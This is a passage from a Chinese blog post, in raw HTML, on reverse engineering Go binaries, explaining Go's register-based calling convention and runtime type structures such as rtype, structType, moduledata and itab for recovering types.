BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><span style="font-style: italic;">Function calls pass arguments and results using a combination of the stack and machine registers. Each argument or result is passed either entirely in registers or entirely on the stack. Because access to registers is generally faster than access to the stack, arguments and results are preferentially passed in registers. However, any argument or result that contains a non-trivial array or does not fit entirely in the remaining available registers is passed on the stack.</span></p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  因此新版go语言中参数和返回值的传递优先采用寄存器，但是寄存器参数传递规则并不是类似x86_64的rdi, rsi等，而是有一套属于自己的算法，具体可以参考上面的链接，比较值得注意的是在新版（当前为1.20.1）go的调用约定中，参数和返回值可以共享寄存器但是不会共享栈空间，同时即使有些参数通过寄存机传参，caller依然会在栈空间中依然会为它们预留一定的空间，同时caller也会为寄存器传参的参数在栈空间中预留<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">spill area</code>溢出区：</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9304750869061413" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=99d13128&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNoMSujWbIMlvUScCMgsU4zEdibSYRkgMJkOODMU75wCrCTyquqON5lHLw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">如图rax和rbx用来保存返回值，同时也用到了栈上预留的空间。同时，如上面提到的，假如有struct，array和string类型的参数那么调用约定就会变得更为复杂：</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><span style="font-style: italic;">f(a1 uint8, a2 [2]uintptr, a3 uint8) (r1 struct { x uintptr; y [2]uintptr }, r2 string)</span></p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  上面的官方例子很好的讲述了这一点，假设存在寄存器R0-R9，在函数起始阶段a1会被赋予R0，a3会被赋予R1，a2则是在栈中初始化，栈中为a1和a3预留的空间则不会初始化。在函数结束阶段，r2.base也就是字符串所在的地址被赋予到R0，r2.len也就是字符串长度被赋予R1，r1.x和r1.y则被初始化在栈上。总结就是如果参数或者返回值中包含类似array结构，那么就会被放在栈上操作，其它则通过寄存器操作，字符串则因为go自己独特的存储模式（后面会细说）需要分不同的部分进行传递。在栈空间排布上，参数要比返回值处于更低的地址，同时也比spill area更低。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">具体到逆向目标这里给出对于amd64和arm64的相关内容，对于amd64架构来说，下列寄存器会被用于传递整数类型的参数和结果：</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11</p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  使用X0-X14来传递浮点类型的参数和结果，而对于arm64架构来说，它使用R0-R15来保存整数类型的参数和结果，使用F0-F15来保存浮点类型的参数和结果。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Type System</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">内建基础类型：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• one boolean built-in boolean type: bool.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 11 built-in integer numeric types (basic integer types): int8, uint8, int16, uint16, int32, uint32, int64, uint64, int, uint, and uintptr.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• two built-in floating-point numeric types: float32 and float64.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• two built-in complex numeric types: complex64 and complex128.</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• one built-in string type: string.</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在内建基础类型上，go的表现基本和C语言类似，在逆向分析过程中最重要的类型拆解其实就是结构体，在Go语言里面rtype是很多类型的基础实现，它会被嵌入到其它的struct types：</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://go.dev/src/reflect/type.go" target="_blank">https://go.dev/src/reflect/type.go</a></p></blockquote><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">// rtype is the common implementation of most values.</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// It is embedded in other struct types.</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">//</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// rtype must be kept in sync with ../runtime/type.go:/^type._type.</span><br/><span style="color: rgb(198, 120, 221);">type</span> rtype <span style="color: rgb(198, 120, 221);">struct</span> {<br/>        size       <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        ptrdata    <span style="color: rgb(209, 154, 102);">uintptr</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// number of bytes in the type that can contain pointers</span><br/>        hash       <span style="color: rgb(209, 154, 102);">uint32</span>  <span style="color: rgb(92, 99, 112);font-style: italic;">// hash of type; avoids computation in hash tables</span><br/>        tflag      tflag   <span style="color: rgb(92, 99, 112);font-style: italic;">// extra type information flags</span><br/>        align      <span style="color: rgb(209, 154, 102);">uint8</span>   <span style="color: rgb(92, 99, 112);font-style: italic;">// alignment of variable with this type</span><br/>        fieldAlign <span style="color: rgb(209, 154, 102);">uint8</span>   <span style="color: rgb(92, 99, 112);font-style: italic;">// alignment of struct field with this type</span><br/>        kind       <span style="color: rgb(209, 154, 102);">uint8</span>   <span style="color: rgb(92, 99, 112);font-style: italic;">// enumeration for C</span><br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">// function for comparing objects of this type</span><br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">// (ptr to object A, ptr to object B) -&gt; ==?</span><br/>        equal     <span style="color: rgb(198, 120, 221);">func</span>(unsafe.Pointer, unsafe.Pointer) <span style="color: rgb(209, 154, 102);">bool</span><br/>        gcdata    *<span style="color: rgb(209, 154, 102);">byte</span>   <span style="color: rgb(92, 99, 112);font-style: italic;">// garbage collection data</span><br/>        str       nameOff <span style="color: rgb(92, 99, 112);font-style: italic;">// string form</span><br/>        ptrToThis typeOff <span style="color: rgb(92, 99, 112);font-style: italic;">// type for pointer to this type, may be zero</span><br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于逆向工程来说，这些字段非常有帮助，kind：代表了目标结构体的基础类型，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">nameOff</code>可以知道目标结构体的名字，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrToThis</code>则代表了指向该结构体的指针类型，在go开发过程中很多情况下会针对指针实现结构体函数，这里的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrToThis</code>帮助找到指针类型所在的位置从而可以找到对应实现的结构体函数来帮助逆向：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">// ptrType represents a pointer type.</span><br/><span style="color: rgb(198, 120, 221);">type</span> ptrType <span style="color: rgb(198, 120, 221);">struct</span> {<br/>        rtype<br/>        elem *rtype <span style="color: rgb(92, 99, 112);font-style: italic;">// pointer element (pointed at) type</span><br/>}</code></pre><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4495944380069525" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=92cdd96a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNow6XI0Hibd1EBERAoPRqbOibsgRGicT4S3wVTicDok810CH2uOibmWH7g1jQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来是struct的实现：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">// structType represents a struct type.</span><br/><span style="color: rgb(198, 120, 221);">type</span> structType <span style="color: rgb(198, 120, 221);">struct</span> {<br/>        rtype<br/>        pkgPath name<br/>        fields  []structField <span style="color: rgb(92, 99, 112);font-style: italic;">// sorted by offset</span><br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">struct</code>的实现中包含所在的包路径，然后接下来跟一个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">structField</code>数组：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">// Struct field</span><br/><span style="color: rgb(198, 120, 221);">type</span> structField <span style="color: rgb(198, 120, 221);">struct</span> {<br/>        name   name    <span style="color: rgb(92, 99, 112);font-style: italic;">// name is always non-empty</span><br/>        typ    *rtype  <span style="color: rgb(92, 99, 112);font-style: italic;">// type of field</span><br/>        offset <span style="color: rgb(209, 154, 102);">uintptr</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// byte offset of field</span><br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其中name代表的是文件名，还有一个rtype指针用来该Field的类型，通过对这些结构体信息进行组织就可以对目标结构体进行还原。</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5110081112398609" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=f14bf810&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNoYeOic6RiaLic8JSibYquyZIY9icdibPzWrpnA2gFsNNFIXvpXS3kynoKic4rQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">为了理解go二进制文件的数据分布，必须理解go独特的moduledata，但是随着版本的变化moduledata也一直在改变，这里是针对go1.20.1的解析：</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><a href="https://go.dev/src/runtime/symtab.go" target="_blank">https://go.dev/src/runtime/symtab.go</a></p></blockquote><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">//moduledata records information about the layout of the executable</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// image. It is written by the linker. Any changes here must be</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// matched changes to the code in cmd/link/internal/ld/symtab.go:symtab.</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// moduledata is stored in statically allocated non-pointer memory;</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">// none of the pointers here are visible to the garbage collector.</span><br/><span style="color: rgb(198, 120, 221);">type</span> moduledata <span style="color: rgb(198, 120, 221);">struct</span> {<br/>        pcHeader     *pcHeader<br/>        funcnametab  []<span style="color: rgb(209, 154, 102);">byte</span><br/>        cutab        []<span style="color: rgb(209, 154, 102);">uint32</span><br/>        filetab      []<span style="color: rgb(209, 154, 102);">byte</span><br/>        pctab        []<span style="color: rgb(209, 154, 102);">byte</span><br/>        pclntable    []<span style="color: rgb(209, 154, 102);">byte</span><br/>        ftab         []functab<br/>        findfunctab  <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        minpc, maxpc <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        text, etext           <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        noptrdata, enoptrdata <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        data, edata           <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        bss, ebss             <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        noptrbss, enoptrbss   <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        covctrs, ecovctrs     <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        end, gcdata, gcbss    <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        types, etypes         <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        rodata                <span style="color: rgb(209, 154, 102);">uintptr</span><br/>        gofunc                <span style="color: rgb(209, 154, 102);">uintptr</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// go.func.*</span><br/>        textsectmap []textsect<br/>        typelinks   []<span style="color: rgb(209, 154, 102);">int32</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// offsets from types</span><br/>        itablinks   []*itab<br/>        ptab []ptabEntry<br/>        pluginpath <span style="color: rgb(209, 154, 102);">string</span><br/>        pkghashes  []modulehash<br/>        modulename   <span style="color: rgb(209, 154, 102);">string</span><br/>        modulehashes []modulehash<br/>        hasmain <span style="color: rgb(209, 154, 102);">uint8</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// 1 if module contains the main function, 0 otherwise</span><br/>        gcdatamask, gcbssmask bitvector<br/>        typemap <span style="color: rgb(198, 120, 221);">map</span>[typeOff]*_type <span style="color: rgb(92, 99, 112);font-style: italic;">// offset to *_rtype in previous module</span><br/>        bad <span style="color: rgb(209, 154, 102);">bool</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// module failed to load and should be ignored</span><br/>        next *moduledata<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  详细看该结构体就知道这个对于逆向来说非常重要，可以帮助定位不同段的位置和相关信息，对于类型系统来说最重要的就是types, <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">etypes</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">typelinks</code>，types段中包含type descriptions而typelinks段中包含对于types的偏移：</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.28041714947856317" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=32cf5e86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNoFlHphYB2EZHeXLul6jiaNiapIgQtumhWia0DNJGqA0N63xEl3iakuVsfEg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7334878331402086" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=16734a57&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNoNyMzN3v7btFsKMdUlhbl6j6eURiaI8RDuEhvmSlXx0H19iaVZiajJFIIg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以看到虽然没有types段，但是存在typelinks段来很方便的定位到目标。因此通过递归搜索拆解类型信息并交叉引用就可以很好的完成对于类型的恢复。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对于go逆向来说，另一个重要的类型就是接口，在go源码里可以看到其实现为：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">type</span> iface <span style="color: rgb(198, 120, 221);">struct</span> {<br/>        tab  *itab<br/>        data unsafe.Pointer<br/>}<br/><span style="color: rgb(198, 120, 221);">type</span> itab <span style="color: rgb(198, 120, 221);">struct</span> {<br/>         inter *interfacetype<br/>         _type *_type<br/>         hash  <span style="color: rgb(209, 154, 102);">uint32</span> <span style="color: rgb(92, 99, 112);font-style: italic;">// copy of _type.hash. Used for type switches.</span><br/>         _     [<span style="color: rgb(209, 154, 102);">4</span>]<span style="color: rgb(209, 154, 102);">byte</span><br/>         fun   [<span 